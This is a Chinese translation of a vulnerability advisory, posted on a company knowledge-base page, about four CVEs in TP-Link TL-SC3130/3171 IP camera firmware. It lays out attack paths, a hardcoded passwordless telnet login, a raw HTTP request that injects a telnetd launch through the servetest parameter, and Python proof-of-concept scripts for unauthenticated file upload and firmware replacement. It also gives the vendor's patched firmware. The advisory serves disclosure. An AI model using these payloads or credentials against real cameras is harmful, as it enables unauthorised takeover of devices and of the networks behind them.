NOVOTS KMS 词汇表 Glossary    联系我们 Contact Us
查询 Search  
   
按类别浏览 Browse by Category
NOVOTS KMS .: 病毒安全 .: TP-Link网络摄像机的多个漏洞详细分析

TP-Link网络摄像机的多个漏洞详细分析

 

TP-LinkTL-SC3171 IP Cameras网络摄像机的版本为LM.1.6.18P12_sign5的固件上存在多个漏洞,这些漏洞允许攻击者做如下的事情:执行未经身份认证的远程文件上传、执行未经身份认证的固件升级以及用硬编码身份凭证的shell执行任意命令等。

漏洞描述:

 TP-LinkTL-SC3171 IP Cameras网络摄像机的版本为LM.1.6.18P12_sign5的固件上存在多个漏洞,这些漏洞允许攻击者做如下的事情:

 1:[CVE-2013-2578]通过文件 /cgi-bin/admin/servetest执行任意命令。

 2:[CVE-2013-2579]用硬编码身份凭证的shell执行任意命令。

 3:[CVE-2013-2580]执行未经身份认证的远程文件上传。

 4:[CVE-2013-2581]执行未经身份认证的固件升级。

 攻击路径:

 通过结合这些漏洞,多个攻击路径可被利用。额外的攻击路径也是可用的,但这里的攻击路径可以让你了解攻击者如何危及受影响的的设备。

 攻击路径1:

 (验证:无)

 1:通过[CVE-2013-2581]漏洞上传一个已经root的固件。

 2:通过http:///cgi-bin/reboot 重启设备。

 攻击路径2:

 (验证:绕过)

 1:通过http:///cgi-bin/hardfactorydefault将设备重置为出厂默认设置。之后,通过使用admin:admin作为有效的用户和密码绕过验证。

 

2:通过http:///cgi-bin/reboot重启设备。

 

3:通过[CVE-2013-2578]漏洞开启Telnet服务。

 

4:使用用户qmik(没有密码)登陆Telnet服务,并使该设备作为枢轴点。

 

受影响的设备和固件:

TP-Link TL-SC3130 (固件版本LM.1.6.18P12_sign5及以下)
TP-Link TL-SC3130G (固件版本LM.1.6.18P12_sign5及以下)
TP-Link TL-SC3171 (固件版本M.1.6.18P12_sign5及以下)
TP-Link TL-SC3171G (固件版本LM.1.6.18P12_sign5及以下)

 

其他的TP-Link网络摄像机和固件版本可能也受影响。

 

供应商信息,解决方案和解决方法:

 

厂商提供的测试版修补固件版本链接如下:

 [3] http://www.tp-link.com/resources/software/1.6.18P12_sign6_TL-SC3130.zip

 [4] http://www.tp-link.com/resources/software/1.6.18P12_sign6_TL-SC3130G.zip

 [5] http://www.tp-link.com/resources/software/1.6.18P12_sign6_TL-SC3171.zip

 [6] http://www.tp-link.com/resources/software/1.6.18P12_sign6_TL-SC3171G.zip

 最终的正式版本将公布在未来数天,请联系TP-LINK了解更多信息。

 技术细节说明和PoC:

 1:servetest中的操作系统命令注入

 [CVE-2013-2578]文件/cgi-bin/admin/servetest有几个参数可以被用于操作系统命令注入,这会导致通过身份验证的用户可以执行任意命令。下面的PoC启动telnet服务:

GET
/cgi-bin/admin/servetest?cmd=smtp&ServerName=1.1.1.1;/usr/sbin/telnetd;&ServerPort=25&ServerSSL=off&RcptToAddr1=q@q&AdminAddr=q@q
HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: <a href="
http://192.168.1.100/progress.htm">http://192.168.1.100/progress.htm</a>
If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;
Trident/5.0)
Host: 192.168.1.100
Proxy-Connection: Keep-Alive
Cookie: VideoFmt=1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 2

2:telnet服务中的硬编码身份认证

 [CVE-2013-2579]受影响的系统包含一个不需要密码的硬编码登录,这会导致远程攻击者使用这个内置的telnet服务来登录受影响设备的操作系统,用户和密码:

username: qmik
password: (none)

 qmik用户被允许执行命令su,这会导致以root权限执行任意命令。telnet服务可以用通过[CVE-2013-2578]漏洞开启。

 

3:未经身份验证的远程文件上传

 

[CVE-2013-2580]文件/cgi-bin/uploadfile允许未经身份验证的用户进行远程文件上传,下面是Python PoC:

import requests
 
fileName = "lala.tmp"
f = open(fileName, "w")
f.write("lala")
f.close()
requests.post("<a href="
http://192.168.1.100/cgi-bin/uploadfile">http://192.168.1.100/cgi-bin/uploadfile</a>", files={fileName: open(fileName, "rb")})

上传文件(在本例中lala.tmp)将会被放置在/mnt/mtd目录中。

4:未经身份验证的远程固件升级

[CVE-2013-2581]文件/cgi-bin/firmwareupgrade允许未经身份验证的用户执行远程固件升级,PythonPoC如下:

import requests
 
requests.get("<a href="
http://192.168.1.100/cgi-bin/firmwareupgrade?action=presethttp://192.168.1.100/cgi-bin/firmwareupgrade?action=preset">http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset</a>")
fileName = "COM_T01F001_LM.1.6.18P12_sign5_TPL.TL-SC3171.bin"
cookies={"VideoFmt":"1"}
requests.post("<a href="
http://192.168.1.100/cgi-bin/firmwareupgrade?action=presethttp://192.168.1.100/cgi-bin/firmwareupgrade?action=preset">http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset</a>", files={"SetFWFileName" : (fileName, open(fileName, "rb"))}, cookies=cookies)


这篇文章对你多有用?

用户评语

添加评语
当前还没有评语.


.: .: .: .: .:
[ 登陆 ]
北京护航科技有限公司 2006

Novots Technologies Limited